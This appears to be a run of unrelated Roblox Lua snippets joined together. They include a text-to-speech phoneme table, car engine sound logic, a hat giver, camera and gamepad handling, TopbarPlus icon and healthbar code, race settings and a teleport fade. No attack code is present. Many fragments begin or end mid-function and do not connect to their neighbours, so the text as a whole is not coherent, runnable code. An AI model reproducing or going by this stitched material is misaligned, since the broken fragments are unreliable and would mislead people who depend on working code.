1}; --l,ee }; { str="ey"; func={1} --ee }; { str='ii'; func={19} }; --(ii?) { str='i'; func={2} };--(ship) { str='y'; --y%S func={37} }; --(yes) --[[ { str='%Sy'; func={23.9, 24.4} }; --(my) --]] { str='y'; func={37} }; --(my) { str='s'; func={23} }; --(see) { str='e'; func={13}; }; --(bed) --[[--]] { str='a'; func={14} }; --(cat) --[[ { str='a'; func={6} }; --(lazy) --ai--]] { str="x"; func={21, 23} --c, s }; { str='u'; func={15} }; --(up) { str='o'; func={17} }; --(on) { str='c'; func={21} }; --(car) { str='k'; func={21} }; --(book) { str='t'; func={26} }; --(tea) { str='f'; func={27} }; --(fly) { str='i'; func={2} };--(ship) { str='p'; func={28} }; --(pea) { str='b'; func={29} }; --(boat) { str='v'; func={30} }; --(video) { str='d'; func={31} }; --(dog) { str='j'; func={33} }; --(june) { str='z'; func={34} }; --(zoo) { str='g'; func={36} }; --(go) { str='w'; func={38} }; --(wet) { str='l'; func={39} }; --(love) { str='r'; func={40} }; --(red) { str='n'; func={42} }; --(now) { str='m'; func={43} }; --(man) { str='h'; func={44} }; --(hat) { str=' '; func="wait"; }; { str='%.'; func="wait"; }; { str='!'; func="wait"; }; { str='?'; func="wait"; }; { str=';'; func="wait"; }; { str=':'; func="wait"; }; } game:service("ContentProvider"):Preload("rbxassetid://"..audioId) local function getText(str) local tab = {} local str = str local function getNext() for _, v in phonemes do local occ,pos = string.find(string.lower(str),"^"..v.str) if occ then if v.capture then local real = v.real local realStart,realEnd = string.find(string.lower(str),real) --local captStart,captEnd = str:lower():find(v.str) local capt = string.match(string.lower(str),v.str) if occ>realEnd then table.insert(tab,v) getText(capt) else getText(capt) table.insert(tab,v) end else table.insert(tab,v) end str = string.sub(str,pos+1) getNext() end end end getNext() return tab end local phos=getText(str) local swap = false local function say(pos) local sound=audio --[[--]] if swap then sound=audio2 end--]] sound.TimePosition=pos --sound:Play() --wait(0.2) --wait(pause) --sound:Stop() end audio:Play() audio2:Play() for _, v in phos do --print(i,v.str) if type(v.func)=="string" then--v.func=="wait" then task.wait(0.5) elseif type(v)=="table" then for _, p in v.func do --[[--]] if swap then swap=false else swap=true end--]] say(p) if v.delay then task.wait(v.delay) else task.wait(0.1) end end end end task.wait(0.5) audio:Stop() audio2:Stop() end; IsValidTexture = function(id) local id = tonumber(id) local ran, info = pcall(function() return service.MarketPlace:GetProductInfo(id) end) if ran and info and info.AssetTypeId == 1 then return true; else return false; end end; GetTexture = function(id) local id = tonumber(id); if id and Functions.IsValidTexture(id) then return id; else return 6825455804; end end; GetUserInputServiceData = function(args) local data = {} local props = { "AccelerometerEnabled"; "GamepadEnabled"; "GyroscopeEnabled"; "KeyboardEnabled"; "MouseDeltaSensitivity"; "MouseEnabled"; "OnScreenKeyboardVisible"; "TouchEnabled"; "VREnabled"; } for _, p in props do data[p] = service.UserInputService[p] end return data end; }; end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (5*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Shadow Ninja Mask" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2, 1, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, .38, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--------| Setting |--------
local blacklistedGuis = {"Freecam", "BubbleChat", "Chat"} --- These are blacklisted Core GUIs that will not be scanned
--[=[ @within Gamepad @prop Connected Signal @readonly Fires when the gamepad is connected. This will _not_ fire if the active gamepad is switched. To detect switching to different active gamepads, use the `GamepadChanged` signal. There is also a `gamepad:IsConnected()` method. ```lua gamepad.Connected:Connect(function() print("Connected") end) ``` ]=]
--[=[ @type ExtensionConstructFn (component) -> boolean @within Component ]=]
type ExtensionConstructFn = (any) -> boolean
--end
end end function ToogleLock(status) for i,v in pairs(Car:GetDescendants()) do if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then v.Disabled = status end end end
-- ================================================================================ -- GETTER/SETTER FUNCTIONS -- ================================================================================
function RaceModule:SetNumLaps(number) numLaps = number end -- RaceModule:SetNumLaps() function RaceModule:GetNumLaps() return numLaps end -- RaceModule:GetNumLaps() function RaceModule:SetRaceDuration(duration) raceDuration = duration end -- RaceModule:SetRaceDuration() function RaceModule:GetRaceDuration() return raceDuration end -- RaceModule:GetRaceDuration() function RaceModule:SetDebugEnabled(enabled) debugEnabled = enabled end -- RaceModule:SetDebugEnabled() function RaceModule:GetDebugEnabled() return debugEnabled end -- RaceModule:GetDebugEnabled() function RaceModule:SetRaceStatus(status) RaceModule.RaceStatus.Value = status end -- RaceModule:SetRaceStatus() function RaceModule:GetRaceStatus() return RaceModule.RaceStatus.Value end -- RaceModule:GetRaceStatus()
-- register what camera scripts we are using
do local PlayerScripts = PlayersService.LocalPlayer:WaitForChild("PlayerScripts") local canRegisterCameras = pcall(function() PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Default) end) if canRegisterCameras then PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Follow) PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Classic) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Default) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Follow) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Classic) end end local CameraTypeEnumMap = { [Enum.CameraType.Attach] = AttachCamera; [Enum.CameraType.Fixed] = FixedCamera; [Enum.CameraType.Scriptable] = ScriptableCamera; [Enum.CameraType.Track] = TrackCamera; [Enum.CameraType.Watch] = WatchCamera; [Enum.CameraType.Follow] = FollowCamera; } if isOrbitalCameraEnabled then CameraTypeEnumMap[Enum.CameraType.Orbital] = OrbitalCamera; end local EnabledCamera = nil local EnabledOcclusion = nil local cameraSubjectChangedConn = nil local cameraTypeChangedConn = nil local renderSteppedConn = nil local lastInputType = nil local hasLastInput = false local function IsTouch() return UserInputService.TouchEnabled end local function shouldUsePlayerScriptsCamera() local player = PlayersService.LocalPlayer local currentCamera = workspace.CurrentCamera if AllCamerasInLua then return true else if player then if currentCamera == nil or (currentCamera.CameraType == Enum.CameraType.Custom) or (isOrbitalCameraEnabled and currentCamera.CameraType == Enum.CameraType.Orbital) then return true end end end return false end local function isClickToMoveOn() local usePlayerScripts = shouldUsePlayerScriptsCamera() local player = PlayersService.LocalPlayer if usePlayerScripts and player then if (hasLastInput and lastInputType == Enum.UserInputType.Touch) or IsTouch() then -- Touch if player.DevTouchMovementMode == Enum.DevTouchMovementMode.ClickToMove or (player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice and GameSettings.TouchMovementMode == Enum.TouchMovementMode.ClickToMove) then return true end else -- Computer if player.DevComputerMovementMode == Enum.DevComputerMovementMode.ClickToMove or (player.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice and GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove) then return true end end end return false end local function getCurrentCameraMode() local usePlayerScripts = shouldUsePlayerScriptsCamera() local player = PlayersService.LocalPlayer if usePlayerScripts and player then if (hasLastInput and lastInputType == Enum.UserInputType.Touch) or IsTouch() then -- Touch (iPad, etc...) if not FFlagUserNoCameraClickToMove and isClickToMoveOn() then return Enum.DevTouchMovementMode.ClickToMove.Name elseif player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then local touchMovementMode = GameSettings.TouchCameraMovementMode if touchMovementMode == Enum.TouchCameraMovementMode.Default then return Enum.TouchCameraMovementMode.Follow.Name end return touchMovementMode.Name else return player.DevTouchCameraMode.Name end else -- Computer if not FFlagUserNoCameraClickToMove and isClickToMoveOn() then return Enum.DevComputerMovementMode.ClickToMove.Name elseif player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then local computerMovementMode = GameSettings.ComputerCameraMovementMode if computerMovementMode == Enum.ComputerCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Classic.Name end return computerMovementMode.Name else return player.DevComputerCameraMode.Name end end end end local function getCameraOcclusionMode() local usePlayerScripts = shouldUsePlayerScriptsCamera() local player = PlayersService.LocalPlayer if usePlayerScripts and player then return player.DevCameraOcclusionMode end end local function Update() if EnabledCamera then EnabledCamera:Update() end if EnabledOcclusion and not VRService.VREnabled then EnabledOcclusion:Update(EnabledCamera) end if shouldUsePlayerScriptsCamera() then TransparencyController:Update() end end local function SetEnabledCamera(newCamera) if EnabledCamera ~= newCamera then if EnabledCamera then EnabledCamera:SetEnabled(false) end EnabledCamera = newCamera if EnabledCamera then EnabledCamera:SetEnabled(true) end end end local function OnCameraMovementModeChange(newCameraMode) if newCameraMode == Enum.DevComputerMovementMode.ClickToMove.Name then if FFlagUserNoCameraClickToMove then --No longer responding to ClickToMove here! return end ClickToMove:Start() SetEnabledCamera(nil) TransparencyController:SetEnabled(true) else local currentCameraType = workspace.CurrentCamera and workspace.CurrentCamera.CameraType if VRService.VREnabled and currentCameraType ~= Enum.CameraType.Scriptable then SetEnabledCamera(VRCamera) TransparencyController:SetEnabled(false) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Classic.Name then SetEnabledCamera(ClassicCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Follow.Name then SetEnabledCamera(FollowCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and (isOrbitalCameraEnabled and (newCameraMode == Enum.ComputerCameraMovementMode.Orbital.Name)) then SetEnabledCamera(OrbitalCamera) TransparencyController:SetEnabled(true) elseif AllCamerasInLua and CameraTypeEnumMap[currentCameraType] then SetEnabledCamera(CameraTypeEnumMap[currentCameraType]) TransparencyController:SetEnabled(false) else -- Our camera movement code was disabled by the developer SetEnabledCamera(nil) TransparencyController:SetEnabled(false) end ClickToMove:Stop() end local newOcclusionMode = getCameraOcclusionMode() if EnabledOcclusion == Invisicam and newOcclusionMode ~= Enum.DevCameraOcclusionMode.Invisicam then Invisicam:Cleanup() end -- PopperCam does not work with OrbitalCamera, as OrbitalCamera's distance can be fixed. if newOcclusionMode == Enum.DevCameraOcclusionMode.Zoom and ( isOrbitalCameraEnabled and newCameraMode ~= Enum.ComputerCameraMovementMode.Orbital.Name ) then EnabledOcclusion = PopperCam elseif newOcclusionMode == Enum.DevCameraOcclusionMode.Invisicam then EnabledOcclusion = Invisicam else EnabledOcclusion = false end end local function OnCameraTypeChanged(newCameraType) if newCameraType == Enum.CameraType.Scriptable then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end local function OnCameraSubjectChanged(newSubject) TransparencyController:SetSubject(newSubject) end local function OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) local currentCamera = workspace.CurrentCamera if currentCamera then if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() end if cameraTypeChangedConn then cameraTypeChangedConn:disconnect() end cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):connect(function() OnCameraSubjectChanged(currentCamera.CameraSubject) end) cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):connect(function() OnCameraMovementModeChange(getCurrentCameraMode()) OnCameraTypeChanged(currentCamera.CameraType) end) OnCameraSubjectChanged(currentCamera.CameraSubject) OnCameraTypeChanged(currentCamera.CameraType) end end local function OnPlayerAdded(player) workspace.Changed:connect(function(prop) if prop == 'CurrentCamera' then OnNewCamera() end end) player.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) GameSettings.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, Update) OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) end do while PlayersService.LocalPlayer == nil do PlayersService.PlayerAdded:wait() end hasLastInput = pcall(function() lastInputType = UserInputService:GetLastInputType() UserInputService.LastInputTypeChanged:connect(function(newLastInputType) lastInputType = newLastInputType end) end) OnPlayerAdded(PlayersService.LocalPlayer) end local function OnVREnabled() OnCameraMovementModeChange(getCurrentCameraMode()) end VRService:GetPropertyChangedSignal("VREnabled"):connect(OnVREnabled)
--[[ Calls the given callback, and stores any used external dependencies. Arguments can be passed in after the callback. If the callback completed successfully, returns true and the returned value, otherwise returns false and the error thrown. The callback shouldn't yield or run asynchronously. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local parseError = require(Package.Logging.parseError) local sharedState = require(Package.Dependencies.sharedState) local initialisedStack = sharedState.initialisedStack
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "True Fatal void" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ Handles the ReturningToFarm stage during the First Time User Experience, which waits for the player to return the wagon in their farm --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local CollectionService = game:GetService("CollectionService") local FtueStage = require(ReplicatedStorage.Source.SharedConstants.FtueStage) local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag) local ReturningToFarmFtueStage = {} function ReturningToFarmFtueStage.handleAsync(player: Player): FtueStage.EnumType? while player.Character and CollectionService:HasTag(player.Character, CharacterTag.PullingWagon) do CollectionService:GetInstanceRemovedSignal(CharacterTag.PullingWagon):Wait() end -- This is the last stage, so we return nil to indicate no next stage return nil end return ReturningToFarmFtueStage
-- Get whether BubbleChat is enabled
function GuiController:getBubbleChatEnabled() return Chat.BubbleChatEnabled end
--[[ function onPlayerBlownUp(part, distance, creator) if part.Name == "Head" then local humanoid = part.Parent.Humanoid tagHumanoid(humanoid, creator) end end function tagHumanoid(humanoid, creator) -- tag does not need to expire iff all explosions lethal if creator ~= nil then local new_tag = creator:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end ]]
-- t, s = r.Stepped:wait() d = t + 10.0 - s connection = bullet.Touched:connect(blow) while t < d do fly() t = r.Stepped:wait() end bullet:remove()
--[[ destination: The Part to be teleported to. fade: Whether to use the fade effect. (Defaults to true if not specified) --]]
game.ReplicatedStorage.DoFancyTeleport.OnClientEvent:Connect(function(destination, fade) if script.Parent:FindFirstAncestorOfClass("Workspace") then return end --Just in case studio test runs LocalScripts in places where it's not supposed to... if fade==nil then fade = true end local character = game.Players.LocalPlayer.Character if not character then return end local torso = character:FindFirstChild("UpperTorso") if not torso then torso = character:FindFirstChild("Torso") end if not torso then return end if db then return end db=true if fade then script.Parent.Visible = true script.Parent.BackgroundTransparency = 1 local targ = {BackgroundTransparency = 0} local tween = TweenService:Create(script.Parent, info, targ) tween:Play() wait(FadeTime) end if torso then local hum = character:FindFirstChild("Humanoid") if hum then hum.Sit = false end if typeof(destination) == "Vector3" then torso.CFrame = torso.CFrame - torso.CFrame.p + destination elseif typeof(destination) == "Instance" then if destination:IsA("BasePart") then torso.CFrame = destination.CFrame + Vector3.new(0, destination.Size.Y/2 + 3, 0) --1 for the lower torso, 2 for the legs... workspace.CurrentCamera.Focus = torso.CFrame workspace.CurrentCamera.CFrame = torso.CFrame * CFrame.new(0, 5, -10) end end if fade then wait(BlackoutTime) end end if fade then local targ = {BackgroundTransparency = 1} local tween = TweenService:Create(script.Parent, info, targ) tween:Play() wait(FadeTime) script.Parent.Visible = false end wait(DelayTime) db = false end)
-- PRIVATE METHODS
function IconController:_updateSelectionGroup(clearAll) if IconController._navigationEnabled then guiService:RemoveSelectionGroup("TopbarPlusIcons") end if clearAll then guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled IconController._navigationEnabled = nil elseif IconController.controllerModeEnabled then local icons = IconController.getIcons() local iconContainers = {} for i, otherIcon in pairs(icons) do local featureName = otherIcon.joinedFeatureName if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then table.insert(iconContainers, otherIcon.instances.iconButton) end end guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers)) if not IconController._navigationEnabled then IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled guiService.CoreGuiNavigationEnabled = false guiService.GuiNavigationEnabled = true IconController._navigationEnabled = true end end end local function getScaleMultiplier() if guiService:IsTenFootInterface() then return 3 else return 1.3 end end function IconController._setControllerSelectedObject(object) local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0 IconController._controllerSetCount = startId guiService.SelectedObject = object delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo local finalId = IconController._controllerSetCount if startId == finalId then guiService.SelectedObject = object end end) end function IconController._enableControllerMode(bool) local indicator = TopbarPlusGui.Indicator local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption") if IconController.controllerModeEnabled == bool then return end IconController.controllerModeEnabled = bool if bool then TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5) TopbarPlusGui.TopbarContainer.Visible = false local scaleMultiplier = getScaleMultiplier() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier) indicator.Image = "rbxassetid://5278151556" indicator.Visible = checkTopbarEnabledAccountingForMimic() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Active = true controllerMenuOverride = indicator.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then IconController.setTopbarEnabled(true,false) end end) else TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0) TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic() indicator.Visible = false IconController._setControllerSelectedObject(nil) end for icon, _ in pairs(topbarIcons) do IconController._enableControllerModeForIcon(icon, bool) end end function IconController._enableControllerModeForIcon(icon, bool) local parentIcon = icon._parentIcon local featureName = icon.joinedFeatureName if parentIcon then icon:leave() end if bool then local scaleMultiplier = getScaleMultiplier() local currentSizeDeselected = icon:get("iconSize", "deselected") local currentSizeSelected = icon:get("iconSize", "selected") local currentSizeHovering = icon:getHovering("iconSize") icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode") icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode") if currentSizeHovering then icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode") end icon:set("alignment", "mid", "deselected", "controllerMode") icon:set("alignment", "mid", "selected", "controllerMode") else local states = {"deselected", "selected", "hovering"} for _, iconState in pairs(states) do local _, previousAlignment = icon:get("alignment", iconState, "controllerMode") if previousAlignment then icon:set("alignment", previousAlignment, iconState) end local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode") if previousSize then icon:set("iconSize", previousSize, iconState) end end end if parentIcon then icon:join(parentIcon, featureName) end end local createdFakeHealthbarIcon = false function IconController.setupHealthbar() if createdFakeHealthbarIcon then return end createdFakeHealthbarIcon = true -- Create a fake healthbar icon to mimic the core health gui task.defer(function() runService.Heartbeat:Wait() local Icon = require(script.Parent) Icon.new() :setProperty("internalIcon", true) :setName("_FakeHealthbar") :setRight() :setOrder(-420) :setSize(80, 32) :lock() :set("iconBackgroundTransparency", 1) :give(function(icon) local healthContainer = Instance.new("Frame") healthContainer.Name = "HealthContainer" healthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0) healthContainer.BorderSizePixel = 0 healthContainer.AnchorPoint = Vector2.new(0, 0.5) healthContainer.Position = UDim2.new(0, 0, 0.5, 0) healthContainer.Size = UDim2.new(1, 0, 0.2, 0) healthContainer.Visible = true healthContainer.ZIndex = 11 healthContainer.Parent = icon.instances.iconButton local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(1, 0) corner.Parent = healthContainer local healthFrame = healthContainer:Clone() healthFrame.Name = "HealthFrame" healthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167) healthFrame.BorderSizePixel = 0 healthFrame.AnchorPoint = Vector2.new(0.5, 0.5) healthFrame.Position = UDim2.new(0.5, 0, 0.5, 0) healthFrame.Size = UDim2.new(1, -2, 1, -2) healthFrame.Visible = true healthFrame.ZIndex = 12 healthFrame.Parent = healthContainer local healthBar = healthFrame:Clone() healthBar.Name = "HealthBar" healthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255) healthBar.BorderSizePixel = 0 healthBar.AnchorPoint = Vector2.new(0, 0.5) healthBar.Position = UDim2.new(0, 0, 0.5, 0) healthBar.Size = UDim2.new(0.5, 0, 1, 0) healthBar.Visible = true healthBar.ZIndex = 13 healthBar.Parent = healthFrame local START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107) local MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0) local END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0) local function powColor3(color, pow) return Color3.new( math.pow(color.R, pow), math.pow(color.G, pow), math.pow(color.B, pow) ) end local function lerpColor(colorA, colorB, frac, gamma) gamma = gamma or 2.0 local CA = powColor3(colorA, gamma) local CB = powColor3(colorB, gamma) return powColor3(CA:Lerp(CB, frac), 1/gamma) end local firstTimeEnabling = true local function listenToHealth(character) if not character then return end local humanoid = character:WaitForChild("Humanoid", 10) if not humanoid then return end local function updateHealthBar() local realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health) local healthInterval = humanoid.Health / humanoid.MaxHealth if healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then if icon.enabled then icon:setEnabled(false) end return elseif healthInterval < 1 then if not icon.enabled then icon:setEnabled(true) end firstTimeEnabling = false if realHealthbarEnabled then starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false) end end local startInterval = 0.9 local endInterval = 0.1 local m = 1/(startInterval - endInterval) local c = -m*endInterval local colorIntervalAbsolute = (m*healthInterval) + c local colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute local firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR local lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR local doubleSubtractor = (1-colorInterval)*2 local modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor) local newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval) local newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0) healthBar.BackgroundColor3 = newHealthFillColor healthBar.Size = newHealthFillSize end humanoid.HealthChanged:Connect(updateHealthBar) IconController.healthbarDisabledSignal:Connect(updateHealthBar) updateHealthBar() end localPlayer.CharacterAdded:Connect(function(character) listenToHealth(character) end) task.spawn(listenToHealth, localPlayer.Character) end) end) end
-- if self.L3ButtonDown then -- -- L3 Thumbstick is depressed, right stick controls dolly in/out -- if (input.Position.Y > THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 0.96 -- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 1.04 -- else -- self.currentZoomSpeed = 1.00 -- end -- else
if state == Enum.UserInputState.Cancel then self.gamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else self.gamepadPanningCamera = ZERO_VECTOR2 end --end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoKeyboardPanTurn(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state == Enum.UserInputState.Cancel then self.turningLeft = false self.turningRight = false return Enum.ContextActionResult.Sink end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then self.turningLeft = state == Enum.UserInputState.Begin elseif input.KeyCode == Enum.KeyCode.Right then self.turningRight = state == Enum.UserInputState.Begin end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoPanRotateCamera(rotateAngle) local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25) if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(angle, 0) self.lastUserPanCamera = tick() self.lastCameraTransform = nil end end function BaseCamera:DoKeyboardPan(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Comma then self:DoPanRotateCamera(-math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.Period then self:DoPanRotateCamera(math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.PageUp then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15)) self.lastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15)) self.lastCameraTransform = nil end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoGamepadZoom(name, state, input) if input.UserInputType == self.activeGamepad then if input.KeyCode == Enum.KeyCode.ButtonR3 then if state == Enum.UserInputState.Begin then if self.distanceChangeEnabled then local dist = self:GetCameraToSubjectDistance() if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2) elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1) else self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3) end end end elseif input.KeyCode == Enum.KeyCode.DPadLeft then self.dpadLeftDown = (state == Enum.UserInputState.Begin) elseif input.KeyCode == Enum.KeyCode.DPadRight then self.dpadRightDown = (state == Enum.UserInputState.Begin) end if self.dpadLeftDown then self.currentZoomSpeed = 1.04 elseif self.dpadRightDown then self.currentZoomSpeed = 0.96 else self.currentZoomSpeed = 1.00 end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass
-- Torso
character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.UpperTorso.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) character.LowerTorso.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) character.Head.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW)
--[[ Cleans up the task passed in as the argument. A task can be any of the following: - an Instance - will be destroyed - an RBXScriptConnection - will be disconnected - a function - will be run - a table with a `Destroy` or `destroy` function - will be called - an array - `cleanup` will be called on each item ]]
